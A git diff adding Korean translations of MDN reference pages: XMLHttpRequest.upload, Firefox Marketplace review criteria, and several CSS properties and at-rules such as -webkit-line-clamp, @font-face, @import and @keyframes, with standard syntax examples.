+ + diff --git a/files/ko/web/api/xmlhttprequest/upload/index.html b/files/ko/web/api/xmlhttprequest/upload/index.html new file mode 100644 index 0000000000..329920fc68 --- /dev/null +++ b/files/ko/web/api/xmlhttprequest/upload/index.html @@ -0,0 +1,88 @@ +--- +title: XMLHttpRequest.upload +slug: Web/API/XMLHttpRequest/upload +translation_of: Web/API/XMLHttpRequest/upload +--- +
{{APIRef('XMLHttpRequest')}}
+ +

{{domxref("XMLHttpRequest")}} upload 프로퍼티는 업로드 진행 상황을 모니터링 할 수 있는 {{domxref("XMLHttpRequestUpload")}} 객체를 반환합니다. 불투명한 객체(opaque object)이지만  {{domxref("XMLHttpRequestEventTarget")}} 이기도 하기 때문에 이벤트 리스너를 연결하여 프로세스를 추적할 수 있습니다.

+ +

upload 이벤트에서 다음 이벤트가 트리거되어 업로드를 모니터링하는데 사용할 수 있습니다.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
EventEvent listenerDescription
{{event("loadstart")}}{{domxref("XMLHttpRequest.onloadstart", "onloadstart")}}업로드가 시작되었습니다.
{{event("progress")}}{{domxref("XMLHttpRequest.onprogress", "onprogress")}}지금까지 진행된 상태를 정기적으로 제공합니다.
{{event("abort")}}{{domxref("XMLHttpRequest.onabort", "onabort")}}업로드가 중단되었습니다.
{{event("error")}}{{domxref("XMLHttpRequest.onerror", "onerror")}}에러로 인해 업로드에 실패했습니다.
{{event("load")}}{{domxref("XMLHttpRequest.onload", "onload")}}업로드가 성공적으로 완료되었습니다.
{{event("timeout")}}{{domxref("XMLHttpRequest.ontimeout", "ontimeout")}}{{domxref("XMLHttpRequest.timeout")}}에 명시되어 있는 시간 간격 내에 응답이 도착하지 않아, 업로드 시간이 초과되었습니다.
{{event("loadend")}}{{domxref("XMLHttpRequest.onloadend", "onloadend")}}업로드가 완료되었습니다. 이 이벤트는 성공과 실패를 구분하지 않고 결과에 관계없이 업로드가 끝나면 전송됩니다. 이 이벤트 발생 이전에는 전송이 종료된 이유를 나타내기 위해 load, error, abort, timeout 중 하나를 전달합니다.
+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('XMLHttpRequest', '#the-upload-attribute')}}{{Spec2('XMLHttpRequest')}}WHATWG living standard
+ +

Browser compatibility

+ + + +

{{Compat("api.XMLHttpRequest.upload")}}

+ +

See also

+ + diff --git a/files/ko/web/apps/design/index.html b/files/ko/web/apps/design/index.html new file mode 100644 index 0000000000..23bba7ac10 --- /dev/null +++ b/files/ko/web/apps/design/index.html @@ -0,0 +1,35 @@ +--- +title: 열린 웹 응용프로그램들 설계하기 +slug: Web/Apps/Design +tags: + - Apps + - Beginner + - CSS + - Design + - Examples + - Guide + - Layout + - Mobile + - NeedsTranslation + - Styleguides + - TopicStub + - UX + - Usability + - Web Development + - patterns +translation_of: Archive/Apps/Design +--- +
+

In this section, we'll introduce design and UX principles to incorporate into your Open Web Apps. In an effort to help you kickstart your project, we have included links to relevant examples and style guides.

+
+ +

일반 웹 앱 디자인

+ +

The items under this section apply generally to Web app design.

+ +
+
계획하기
+
The articles in this section provide information on planning a successful Web app, including high level planning ideas and general design principles.
+
UI 배치의 기본
+
These articles provide guides and theory behind implementing effective layouts for Open Web Apps, including responsive design, flexible boxes, etc.
+
diff --git a/files/ko/web/apps/publishing/marketplace_review_criteria/index.html b/files/ko/web/apps/publishing/marketplace_review_criteria/index.html new file mode 100644 index 0000000000..d6627ca4fd --- /dev/null +++ b/files/ko/web/apps/publishing/marketplace_review_criteria/index.html @@ -0,0 +1,77 @@ +--- +title: Marketplace 리뷰 가이드 +slug: Web/Apps/Publishing/Marketplace_review_criteria +translation_of: Archive/Mozilla/Marketplace/Publishing/Marketplace_review_criteria +--- +

이 문서에서는 Firefox Marketplace를 통해 배포되는 앱이 충족해야 할 일련의 요구 사항을 설명합니다. 이러한 요건은 Marketplace에서 배포되는 앱 개발자 및 사용자 양쪽의 요구에 대한 균형을 맞추도록 설계되어 있습니다. 개발자는 앱을 사용한 비즈니스를 성립시키기 위해 신뢰할 만한 균형을 가지고, 일관성이 있고 너무 엄격하지 않은 조건을 요구하고 있습니다. 한편 사용자는 앱이 안전하고, 자신의 단말기에서 동작하는 설명대로 동작한다는 보증을 요구하고 있습니다. 이하에서 설명하는 앱의 요건은 이러한 요구의 균형을 목적으로 하고 있습니다.

+

앱을 검토(Review)하는 부분과 그렇지 않은 부분에 대해 Mozilla의 생각은 다음과 같습니다.

+ +

보안

+

앱의 보안 아키텍처에 관한 설명은 https://wiki.mozilla.org/Apps/Security에서 볼 수 있습니다.

+ +

개인 정보

+ +

콘텐츠

+ +

콘텐츠 가이드 라인

+

이 목록은 Firefox Marketplace에 부적절한 내용 유형을 설명한 것입니다. 이 항목은 확정적이 아니라 구체적인 것으로, 향후 업데이트될 수 있습니다. 응용 프로그램이 이러한 내용 가이드 라인에 반하는 것이 확인된 경우 Mozilla는 Firefox Marketplace에서 응용 프로그램을 즉시 삭제할 권리를 가지고 있습니다.

+ +

기능성

+ +

사용성

+ +

차단 목록 추가 정책

+

우리는 원하지는 않지만, 노출된 앱이, 보안, 개인 정보, 콘텐츠 요건에 반하고 혹은 시스템이나 네트워크의 성능을 크게 저하시키는 것이 나중에 밝혀질 경우 그것을 Marketplace에서 제거("차단 목록"에 추가하는) 권리를 가지고 있습니다. 그러한 상황이 되었을 경우, 개발자는 앱이 차단 목록에 추가되기 전에 통보를 받고 뭔가 구체적 증거가 발견하지 않는 한 "착한 시민"으로 간주됩니다. 또한, 앱의 검토 팀은 무슨 일이 일어나는지를 전달해 문제를 해결하기 위한 충분한 지원을 제공합니다. 차단 목록에 추가가 인정되는 상황의 구체적인 예는 다음과 같은 것입니다.

+ diff --git a/files/ko/web/css/-moz-image-region/index.html b/files/ko/web/css/-moz-image-region/index.html new file mode 100644 index 0000000000..1bc12db1e6 --- /dev/null +++ b/files/ko/web/css/-moz-image-region/index.html @@ -0,0 +1,54 @@ +--- +title: '-moz-image-region' +slug: Web/CSS/-moz-image-region +tags: + - CSS + - CSS Property + - 'CSS:Mozilla Extensions' + - Non-standard +translation_of: Web/CSS/-moz-image-region +--- +
{{CSSRef}}{{Non-standard_header}}
+ +

XUL 요소와 가상요소들에 대하여 {{ Cssxref("list-style-image") }}  속성을 사용할때 이 속성은 전체이미지에서 사용되는 부분의 령역을 지정합니다.  이것은 요소들이 성능을 향상시키기 위해 같은 이미지의 서로다른 부분을 사용할수 있게 합니다.

+ +
/* Keyword value */
+-moz-image-region: auto;
+
+/* <shape> value */
+-moz-image-region: rect(0, 8px, 4px, 4px);
+
+/* Global values */
+-moz-image-region: inherit;
+-moz-image-region: initial;
+-moz-image-region: unset;
+ +

 

+ +

문법은 {{ Cssxref("clip") }}속성과 류사합니다. 4개의 값은 모두 이미지의 외쪽 웃모서리로부터 상대적입니다.

+ +

{{cssinfo}}

+ +

구문

+ +
-moz-image-region: rect(top, right, bottom, left);
+ +

형식 구문

+ +
{{CSSSyntax}}
+ +

예제

+ +
#example-button {
+  /* display only the 4x4 area from the top left of this image */
+  list-style-image: url("chrome://example/skin/example.png");
+  -moz-image-region: rect(0px, 4px, 4px, 0px);
+}
+#example-button:hover {
+  /* use the 4x4 area to the right of the first for the hovered button */
+  -moz-image-region: rect(0px, 8px, 4px, 4px);
+}
+ +

브라우저 호환성

+ +

{{Compat("css.properties.-moz-image-region")}}

diff --git a/files/ko/web/css/-webkit-line-clamp/index.html b/files/ko/web/css/-webkit-line-clamp/index.html new file mode 100644 index 0000000000..1c08a3f70b --- /dev/null +++ b/files/ko/web/css/-webkit-line-clamp/index.html @@ -0,0 +1,111 @@ +--- +title: '-webkit-line-clamp' +slug: Web/CSS/-webkit-line-clamp +tags: + - CSS + - CSS Property + - Non-standard + - Reference + - 'recipe:css-property' +translation_of: Web/CSS/-webkit-line-clamp +--- +
{{CSSRef}}
+ +

-webkit-line-clamp CSS 속성은 {{Glossary("block container", "블록 컨테이너")}}의 콘텐츠를 지정한 줄 수만큼으로 제한합니다.

+ +

{{cssxref("display")}} 속성을 -webkit-box 또는 -webkit-inline-box로, 그리고 {{cssxref("-webkit-box-orient")}} 속성을 vertical로 설정한 경우에만 동작합니다.

+ +

-webkit-line-clamp만 사용하는 경우, 말줄임표는 노출되나 넘친 콘텐츠가 숨겨지지 않으므로 대개 {{cssxref("overflow")}} 속성 또한 hidden으로 설정해야 합니다.

+ +

앵커 요소에 적용한 경우 텍스트의 끝이 아니라 중앙에서 잘리는 경우도 있습니다.

+ +
+

참고:-webkit-line-clamp는 원래 WebKit이 구현했었으며 몇몇 문제점을 가지고 있으나 레거시 지원을 위해 표준화를 거쳤습니다. CSS Overflow Module Level 3 명세의 {{cssxref("line-clamp")}}가 -webkit-line-clamp를 대체하기 위해 정의된 속성입니다.

+
+ +

구문

+ +
/* 키워드 값 */
+-webkit-line-clamp: none;
+
+/* <integer> 값 */
+-webkit-line-clamp: 3;
+-webkit-line-clamp: 10;
+
+/* 전역 값 */
+-webkit-line-clamp: inherit;
+-webkit-line-clamp: initial;
+-webkit-line-clamp: unset;
+
+ +
+
none
+
콘텐츠를 자르지 않습니다.
+
{{cssxref("integer")}}
+
몇 줄 뒤에 콘텐츠를 자를지 지정합니다. 0보다 커야 합니다.
+
+ +

형식 정의

+ +

{{cssinfo}}

+ +

형식 구문

+ +
{{CSSSyntax}}
+ +

예제

+ +

문단 자르기

+ +

HTML

+ +
<p>
+  In this example the <code>-webkit-line-clamp</code> property is set to <code>3</code>, which means the text is clamped after three lines.
+  An ellipsis will be shown at the point where the text is clamped.
+</p>
+ +

CSS

+ +
p {
+  width: 300px;
+  display: -webkit-box;
+  -webkit-box-orient: vertical;
+  -webkit-line-clamp: 3;
+  overflow: hidden;
+}
+ +

결과

+ +

{{EmbedLiveSample("예제", "100%", "100")}}

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSS3 Overflow", "#propdef--webkit-line-clamp", "-webkit-line-clamp")}}{{Spec2("CSS3 Overflow")}}Initial definition
+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.-webkit-line-clamp")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/css/-webkit-overflow-scrolling/index.html b/files/ko/web/css/-webkit-overflow-scrolling/index.html new file mode 100644 index 0000000000..ef195eed02 --- /dev/null +++ b/files/ko/web/css/-webkit-overflow-scrolling/index.html @@ -0,0 +1,86 @@ +--- +title: '-webkit-overflow-scrolling' +slug: Web/CSS/-webkit-overflow-scrolling +tags: + - CSS + - CSS Property + - Non-standard + - Reference +translation_of: Web/CSS/-webkit-overflow-scrolling +--- +
{{CSSRef}} {{Non-standard_header}}
+ +

CSS -webkit-overflow-scrolling 속성은 터치 단말기에서 주어진 요소의 모멘텀 기반 스크롤 활성화 여부를 결정합니다.

+ +

{{cssinfo}}

+ +

+ +
+
auto
+
"일반적"인 스크롤을 사용합니다. 즉 손가락을 터치 화면에서 떼는 순간 스크롤이 멈춥니다.
+
touch
+
모멘텀 기반 스크롤을 사용합니다. 스크롤 제스쳐가 끝나고 손가락을 터치 화면에서 떼어도 잠시 스크롤이 지속됩니다. 지속 속도와 시간은 스크롤 제스쳐의 세기에 따라 달라집니다. 또한 새로운 {{glossary("stacking context", "쌓임 맥락")}}을 생성합니다.
+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

HTML

+ +
<div class="scroll-touch">
+  <p>
+    This paragraph has momentum scrolling
+  </p>
+</div>
+<div class="scroll-auto">
+  <p>
+    This paragraph does not.
+  </p>
+</div>
+ +

CSS

+ +
div {
+  width: 100%;
+  overflow: auto;
+}
+
+p {
+  width: 200%;
+  background: #f5f9fa;
+  border: 2px solid #eaf2f4;
+  padding: 10px;
+}
+
+.scroll-touch {
+  -webkit-overflow-scrolling: touch; /* Lets it scroll lazy */
+}
+
+.scroll-auto {
+  -webkit-overflow-scrolling: auto; /* Stops scrolling immediately */
+}
+
+ +

결과

+ +

{{EmbedLiveSample('예제')}}

+ +

명세

+ +

명세에 속하지 않습니다. Apple의 Safari CSS Reference에 설명이 있습니다.

+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.-webkit-overflow-scrolling")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/css/@charset/index.html b/files/ko/web/css/@charset/index.html new file mode 100644 index 0000000000..6cdeb08fb5 --- /dev/null +++ b/files/ko/web/css/@charset/index.html @@ -0,0 +1,78 @@ +--- +title: '@charset' +slug: Web/CSS/@charset +tags: + - At-rule + - CSS + - Layout + - Reference + - Web +translation_of: Web/CSS/@charset +--- +
{{ CSSRef }}
+ +

@charset CSS at-규칙은 스타일 시트에 쓰이는 문자 인코딩을 지정합니다. 스타일 시트의 첫 번째 요소여야 하며 어떤 문자가 선행되지 않아야 합니다; 중첩된 문이 아니기에, 조건부 그룹 at-규칙 내에 사용될 수 없습니다. 여러 @charset at-규칙이 정의된 경우, 첫 번째 것만 사용되고 HTML 요소의 style attribute 또는 HTML 페이지의 문자 집합과 관련 있는 {{ HTMLElement("style") }} 요소 내에서 사용될 수 없습니다.

+ +
@charset "utf-8";
+
+ +

이 at-규칙은 {{ cssxref("content") }}처럼 일부 CSS 속성(property)에서 비 ASCII 문자를 사용할 때 유용합니다.

+ +

스타일 시트의 문자 인코딩을 정의하는 여러 방법이 있기에, 브라우저는 다음과 같은 순서로 다음 방법을 시도합니다( 그리고 하나가 결과를 산출하자 마자 곧 멈춥니다):

+ +
    +
  1. 파일의 시작 부분에 놓이는 Unicode byte-order 문자값.
  2. +
  3. Content-Type: HTTP 헤더의 charset attribute 또는 스타일 시트를 제공하는 데 쓰이는 프로토콜 등가물에 주어진 값.
  4. +
  5. @charset CSS at-규칙.
  6. +
  7. 참조하는 문서에 의해 정의된 문자 인코딩 사용: {{ HTMLElement("link") }} 요소의 charset attribute. 이 메서드는 HTML5에서 폐기(obsolete)되어 사용해서는 안됩니다.
  8. +
  9. 문서가 UTF-8이라고 가정
  10. +
+ +

구문

+ +
@charset "UTF-8";
+@charset 'iso-8859-15';
+
+ +

where:

+ +
+
charset
+
사용되는 문자 인코딩을 나타내는 {{cssxref("<string>")}}입니다. IANA-registry에 정의된 웹 안전 문자 인코딩의 이름이어야 합니다. 여러 이름이 인코딩과 관련된 경우, preferred로 표시된 것만 사용되어야 합니다.
+
+ +

형식 구문

+ +
{{csssyntax}}
+
+ +

예제

+ +
@charset "UTF-8";       /* 스타일 시트의 인코딩을 Unicode UTF-8로 설정 */
+@charset 'iso-8859-15'; /* 스타일 시트의 인코딩을 Latin-9 (서유럽어, euro sign 있는) 로 설정 */
+ @charset "UTF-8";      /* 무효한, at-규칙 앞에 문자(공백)가 있음 */
+@charset UTF-8;         /* 무효한, ' 또는 " 없는 문자집합 CSS {{cssxref("<string>")}}이 아님 */
+
+ +

명세

+ + + + + + + + + + + + + + + + +
명세상태설명
{{ SpecName('CSS2.1', 'syndata.html#x57', '@charset') }}{{ Spec2('CSS2.1') }}초기 정의
+ +

브라우저 호환성

+ +

{{Compat("css.at-rules.charset")}}

diff --git a/files/ko/web/css/@font-face/font-display/index.html b/files/ko/web/css/@font-face/font-display/index.html new file mode 100644 index 0000000000..20d334f95c --- /dev/null +++ b/files/ko/web/css/@font-face/font-display/index.html @@ -0,0 +1,101 @@ +--- +title: font-display +slug: Web/CSS/@font-face/font-display +translation_of: Web/CSS/@font-face/font-display +--- +
{{CSSRef}}
+ +

font-display 설명자(descriptor)는 font face가 표시되는 방법을 결정합니다. 이는 다운로드 여부와 사용 시기에 따라 다릅니다.

+ +

The font display timeline

+ +

font display 시각표는 유저 에이전트가 지정된 다운로드 폰트를 사용하려는 순간 시작하는 타이머를 기반으로 합니다. 시각표는 아래의 세 가지 기간(period)으로 나뉘어져 font face를 사용하는 모든 요소(element)의 렌더링 동작을 나타냅니다.

+ +
+
폰트 차단 기간
+
font face가 로드되지 않은 경우 font face를 사용하려는 요소는 보이지 않는 대체 폰트를 렌더링 합니다. 이 기간 동안 font face가 성공적으로 로드되면 요청된 폰트로 다시 렌더링 됩니다.
+
폰트 교체 기간
+
font face가 로드되지 않은 경우 font face를 사용하려는 요소는 (텍스트가 표시되는)대체 폰트를 렌더링 합니다. 이 기간 동안 font face가 성공적으로 로드되면 요청된 폰트로 다시 렌더링 됩니다.
+
폰트 실패 기간
+
font face가 로드되지 않은 경우 유저 에이전트는 로드 실패로 취급하고 정상적인 대체 폰트를 렌더링 합니다.
+
+ +

{{cssinfo}}

+ +

Syntax

+ +
/* Keyword values */
+font-display: auto;
+font-display: block;
+font-display: swap;
+font-display: fallback;
+font-display: optional;
+ +

Values

+ +
+
auto
+
font display 전략은 유저 에이전트에 의해 정의됩니다.
+
block
+
font face에 짧은 차단 기간과 무한대의 교체 기간을 부여합니다.
+
swap
+
font face에 매우 작은 차단 기간과 무한대의 교체 기간을 부여합니다.
+
fallback
+
font face에 매우 작은 차단 기간과 짧은 교체 기간을 부여합니다.
+
optional
+
font face에 매우 작은 차단 기간과 교체 기간을 부여합니다.
+
+ +

Formal syntax

+ +
{{csssyntax}}
+ +

Examples

+ +
@font-face {
+  font-family: ExampleFont;
+  src: url(/path/to/fonts/examplefont.woff) format('woff'),
+       url(/path/to/fonts/examplefont.eot) format('eot');
+  font-weight: 400;
+  font-style: normal;
+  font-display: fallback;
+}
+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS4 Fonts', '#font-display-desc', 'font-display')}}{{Spec2('CSS4 Fonts')}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("css.at-rules.font-face.font-display")}}

+ +

See also

+ + diff --git a/files/ko/web/css/@font-face/index.html b/files/ko/web/css/@font-face/index.html new file mode 100644 index 0000000000..9ba2e223e6 --- /dev/null +++ b/files/ko/web/css/@font-face/index.html @@ -0,0 +1,216 @@ +--- +title: '@font-face' +slug: Web/CSS/@font-face +translation_of: Web/CSS/@font-face +--- +

{{CSSRef}}

+ +

요약(Summary)

+ +

CSS at-rule 인 @font-face 를 사용하여 웹페이지의 텍스트에 온라인폰트(online fonts)를 적용할 수 있다. @font-face 를 사용하여 웹페이지 제작자가 원하는 폰트를 사용할 수 있게함으로써, 컴퓨터에 설치된 폰트만을 사용해야했던 제약이 없어지게되었다. @font-face at-rule 은 CSS의 top-level에서 뿐 아니라, CSS conditional-group at-rule 안에서도 사용될 수도 있다. 

+ +

{{ seeCompatTable() }}

+ +

문법(Syntax)

+ +
@font-face {
+  font-family: <a-remote-font-name>;
+  src: <source> [,<source>]*;
+  [font-weight: <weight>];
+  [font-style: <style>];
+}
+
+ +

속성값(Values)

+ +
+
<a-remote-font-name> 
+
font 속성에서 폰트명(font face)으로 지정될 이름을 설정한다.
+
<source> 
+
원격 폰트(remote font) 파일의 위치를 나타내는 URL 값을 지정하거나, 사용자 컴퓨터에 설치된 폰트명을 local("Font Name")형식으로 지정하는 속성이다.
+
<weight> 
+
폰트의 굵기(font weight) 값.
+
<style> 
+
폰트 스타일(font style) 값.
+
+ +

사용자의 로컬환경(local computer)에 설치된 폰트는 local() 이라는 구문을 사용하여 지정이 가능하다. 만약 해당 폰트를 찾지못한다면, 다른 대체 폰트를 찾을때까지 폰트를 검색작업을 계속 할 것이다.

+ +

예제(Examples)

+ +

아래는 다운로드하여 사용가능한 폰트를 설정하는 간단한 예제이며, document의 전체 body 영역에 폰트가 적용된다.

+ +

View live sample

+ +
<html>
+<head>
+  <title>Web Font Sample</title>
+  <style type="text/css" media="screen, print">
+    @font-face {
+      font-family: "Bitstream Vera Serif Bold";
+      src: url("http://developer.mozilla.org/@api/deki/files/2934/=VeraSeBd.ttf");
+    }
+
+    body { font-family: "Bitstream Vera Serif Bold", serif }
+  </style>
+</head>
+<body>
+  This is Bitstream Vera Serif Bold.
+</body>
+</html>
+
+ +

아래 예제에서는 로컬에 설치된 "Helvetica Neue Bold" 폰트가 사용된다. 만약 해당 폰트가 설치되어 있지 않다면(다른 2개의 폰트를 적용하기 위한 시도를 하고), 다운로드 가능한 "MgOpenModernaBold.ttf" 폰트가 대신 사용된다.

+ +
@font-face {
+  font-family: MyHelvetica;
+  src: local("Helvetica Neue Bold"),
+  local("HelveticaNeue-Bold"),
+  url(MgOpenModernaBold.ttf);
+  font-weight: bold;
+}
+
+ +

주의사항(Notes)

+ + + +

명세(Specifications)

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('WOFF1.0', '', 'WOFF font format') }}{{ Spec2('WOFF1.0') }}Font format specification
{{ SpecName('CSS3 Fonts', '#font-face-rule', '@font-face') }}{{ Spec2('CSS3 Fonts') }} 
+ +

브라우저 호환성(Browser compatibility)

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureFirefox (Gecko)ChromeInternet ExplorerOperaSafari
Basic support{{ CompatGeckoDesktop("1.9.1") }}4.04.010.03.1
WOFF{{ CompatGeckoDesktop("1.9.1") }}6.09.011.105.1
SVG Font{{ CompatNo() }}
+ {{ unimplemented_inline(119490) }}
yes{{ CompatNo() }}yesyes
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MiniOpera MobileSafari Mobile
Basic support{{ CompatVersionUnknown() }}{{ CompatGeckoMobile("1.9.1") }}{{ CompatUnknown() }}{{ CompatNo() }}10.0{{ CompatVersionUnknown() }}
WOFF{{ CompatNo() }}{{ CompatGeckoMobile("5.0") }}{{ CompatUnknown() }}{{ CompatNo() }}11.0{{ CompatNo() }}
SVG fonts{{ CompatNo() }}{{ CompatNo() }}
+ {{ unimplemented_inline(119490) }}
{{ CompatUnknown() }}{{ CompatNo() }}10.0{{ CompatVersionUnknown() }}
+
+ +

주의사항(Notes)

+ + + +

참고자료(See also)

+ +
+
+ + diff --git a/files/ko/web/css/@import/index.html b/files/ko/web/css/@import/index.html new file mode 100644 index 0000000000..a4648971ae --- /dev/null +++ b/files/ko/web/css/@import/index.html @@ -0,0 +1,83 @@ +--- +title: '@import' +slug: Web/CSS/@import +tags: + - At-rule + - CSS + - Reference +translation_of: Web/CSS/@import +--- +
{{CSSRef}}
+ +

@import CSS @규칙은 다른 스타일 시트에서 스타일 규칙을 가져올 때 쓰입니다. 이 규칙은 {{cssxref("@charset")}} 규칙을 제외하고 모든 다른 종류의 규칙보다 선행해야 합니다. @import는 중첩 명령문이 아니기 때문에 조건부 그룹 @규칙 내에 사용할 수 없습니다.

+ +
@import url("fineprint.css") print;
+@import url("bluish.css") speech;
+@import 'custom.css';
+@import url("chrome://communicator/skin/");
+@import "common.css" screen;
+@import url('landscape.css') screen and (orientation:landscape);
+
+ +

사용자 에이전트는 지원되지 않는 미디어 유형에 대한 자원 검색을 피할 수 있도록, 제작자는 미디어에 의존한 @import 규칙을 지정할 수 있습니다. 이러한 조건부 import는 URI 뒤에 쉼표로 구분된 미디어 질의를 지정합니다. 미디어 질의가 없으면, import는 무조건(unconditional)입니다. 미디어에 all을 지정하면 같은 효과가 있습니다.

+ +

구문

+ +
@import url;
+@import url list-of-media-queries;
+
+ +

where:

+ +
+
url
+
import할 자원의 위치를 나타내는 {{cssxref("<string>")}} 또는 {{cssxref("<uri>")}}입니다. URL은 절대 또는 상대일 수 있습니다. URL은 실제로 파일에 지정할 필요는 없음을 주의하세요; 그냥 패키지 명 및 일부를 지정할 수 있으며 적절한 파일이 자동으로 선택됩니다(가령 chrome://communicator/skin/). 자세한 내용은 여기를 참조.
+
list-of-media-queries
+
링크된 URL 내에 정의된 CSS 규칙의 적용을 조절하는 쉼표 구분된 미디어 질의 목록입니다. 브라우저가 이러한 질의를 지원하지 않으면, 링크된 자원을 로드하지 않습니다.
+
+ +

형식 구문

+ +
{{csssyntax}}
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Cascade', '#at-ruledef-import', '@import')}}{{Spec2('CSS3 Cascade')}} 
{{SpecName('CSS3 Media Queries', '#media0', '@import')}}{{Spec2('CSS3 Media Queries')}}Extended the syntax to support any media query and not only simple media types.
{{SpecName('CSS2.1', 'cascade.html#at-import', '@import')}}{{Spec2('CSS2.1')}}Added support for {{cssxref("<string>")}} to denote the url of a stylesheet,
+ and requirement to insert the @import rule at the beginning of the CSS document.
{{SpecName('CSS1', '#the-cascade', '@import')}}{{Spec2('CSS1')}}Initial definition
+ +

브라우저 호환성

+ + + +

{{Compat("css.at-rules.import")}}

diff --git a/files/ko/web/css/@keyframes/index.html b/files/ko/web/css/@keyframes/index.html new file mode 100644 index 0000000000..dbdfd67d92 --- /dev/null +++ b/files/ko/web/css/@keyframes/index.html @@ -0,0 +1,152 @@ +--- +title: '@keyframes' +slug: Web/CSS/@keyframes +tags: + - Animations + - At-rule + - CSS + - Reference +translation_of: Web/CSS/@keyframes +--- +
{{CSSRef}}
+ +

@keyframes @규칙은 개발자가 애니메이션 중간중간의 특정 지점들을 거칠 수 있는 키프레임들을 설정함으로써 CSS 애니메이션 과정의 중간 절차를 제어할 수 있게 합니다. 이 룰은 브라우저가 자동으로 애니메이션을 처리하는 것 보다 더 세밀하게 중간 동작들을 제어할 수 있습니다.

+ +

 

+ +
@keyframes slidein {
+  from {
+    margin-left: 100%;
+    width: 300%;
+  }
+
+  to {
+    margin-left: 0%;
+    width: 100%;
+  }
+}
+ +

@keyframes @규칙은 CSS 오브젝트 모델 인터페이스인 {{domxref("CSSKeyframesRule")}}를 통해서 접근합니다.

+ +

키프레임을 사용하려면 @keyframes 룰을 애니메이션과 키프레임 리스트를 매칭시킬 {{ cssxref("animation-name") }} 속성에서 사용할 이름과 함께 생성합니다. 각 @keyframes 룰은 키프레임 선택자의 스타일 리스트를 포함하고 있고, 각 리스트는 각 키프레임이 생성되고 키프레임의 스타일 정보를 포함하고 있는 지점에서 사용할 %로 구성됩니다.

+ +

키프레임은 순서대로 나열 가능합니다. 지정된 %의 순서대로 처리됩니다.

+ +

유효한 키프레임 리스트

+ +

키 프레임 리스트가 유효하려면 최소한 0% 와 100% 같은 시간에 대한 규칙은 포함해야 합니다 (%가 의미하는 것은 애니메이션의 시작과 끝 상태를 의미). 만약 이 타임 오프셋이 정해져 있지 않으면, 키 프레임 선언이 무효합니다; 파서가 인식하지 않거나 애니메이션에서 사용되지 않습니다.

+ +

만약 키 프레임 룰에 애니메이션이 되지 않는 속성을 포함하면 이 속성은 무시가 됩니다. 애니메이션을 지원하는 속성들은 여전히 애니메이션이 됩니다.

+ +

중복 해상도

+ +

만약 한개의 이름에 대해서 여러개의 키프레임 셋이 존재하면, 파서가 마지막으로 마주치는 키프레임 셋만 유효합니다. @keyframes 룰은 연속되지 않기 때문에 한개의 룰 셋 이상을 적용하지 않습니다.

+ +

키 프레임 밖에 속성이 지정된 경우

+ +

어떤 키 프레임에도 정의되지 않는 속성들은 애니메이션과는 완전 별도로 삽입되지 않는 경우를 제외하고는 삽입됩니다. 예를 들어,

+ +
@keyframes identifier {
+  0% { top: 0; left: 0; }
+  30% { top: 50px; }
+  68%, 72% { left: 50px; }
+  100% { top: 100px; left: 100%; }
+}
+
+ +

여기 {{ cssxref("top") }} 속성은 0%, 30%, 100% 키 프레임을 이용하여 애니메이션 됩니다. {{ cssxref("left") }} 속성은 0%, 68%, 100% 키 프레임을 사용합니다.

+ +

0%100% 키 프레임 모두에 정의된 속성들만 애니메이션 동작을 합니다. 이 둘 중 아무것도 포함되지 않은 속성은 애니메이션 연속을 지속하기 위한 시작 값으로 사용됩니다.

+ +

키 프레임이 여러번 정의 된 경우

+ +

스펙에서는 모든 속성이 각 키 프레임이 지정된 게 아니라 키 프레임이 여러번 정의 된 경우에는 가장 최근의 키프레임에 선언된 값들만 유효하다고 나와 있습니다. 예를 들어,

+ +
@keyframes identifier {
+  0% { top: 0; }
+  50% { top: 30px; left: 20px; }
+  50% { top: 10px; }
+  100% { top: 0; }
+}
+
+ +

이 예제를 보면 50% 키프레임에서 top: 10px 이고 다른 값들은 모두 무시됩니다.

+ +

{{ non-standard_inline }} {{ fx_minversion_inline("14") }} 키 프레임 효과 연속은 파이어폭스 14부터 지원됩니다. 이 의미는 위 예제의 경우 50% 키 프레임에서 왼쪽 : 20px 값이 고려된다는 의미입니다. 이러한 기능이 스펙에는 아직 정의가 되어있진 않지만, 현재 도입에 대한 토론이 진행 중입니다.

+ +

키프레임에서 !important

+ +

키프레임에서 !important 속성을 이용한 정의는 모두 무시됩니다.

+ +
@keyframes important1 {
+   from { margin-top: 50px; }
+   50%   { margin-top: 150px !important; } /* ignored */
+   to     { margin-top: 100px; }
+}
+
+@keyframes important2 {
+  from { margin-top: 50px;
+                 margin-bottom: 100px; }
+   to     { margin-top: 150px !important; /* ignored */
+                 margin-bottom: 50px; }
+}
+
+ +

Syntax

+ +

Values

+ +
+
<identifier>
+
A name identifying the keyframe list. This must match the identifier production in CSS syntax.
+
from
+
A starting offset of 0%.
+
to
+
An ending offset of 100%.
+
{{cssxref("<percentage>")}}
+
A percentage of the time through the animation sequence at which the specified keyframe should occur.
+
+ +

Formal syntax

+ +
{{csssyntax}}
+ +

Examples

+ +

See CSS animations for examples.

+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSS3 Animations', '#keyframes', '@keyframes') }}{{ Spec2('CSS3 Animations') }} 
+ +

Browser compatibility

+ +

{{Compat("css.at-rules.keyframes")}}

+ +

Notes

+ +
    +
  1. @keyframes not supported in an inline or scoped stylesheet in Firefox ({{bug(830056)}}).
  2. +
+ +

See also

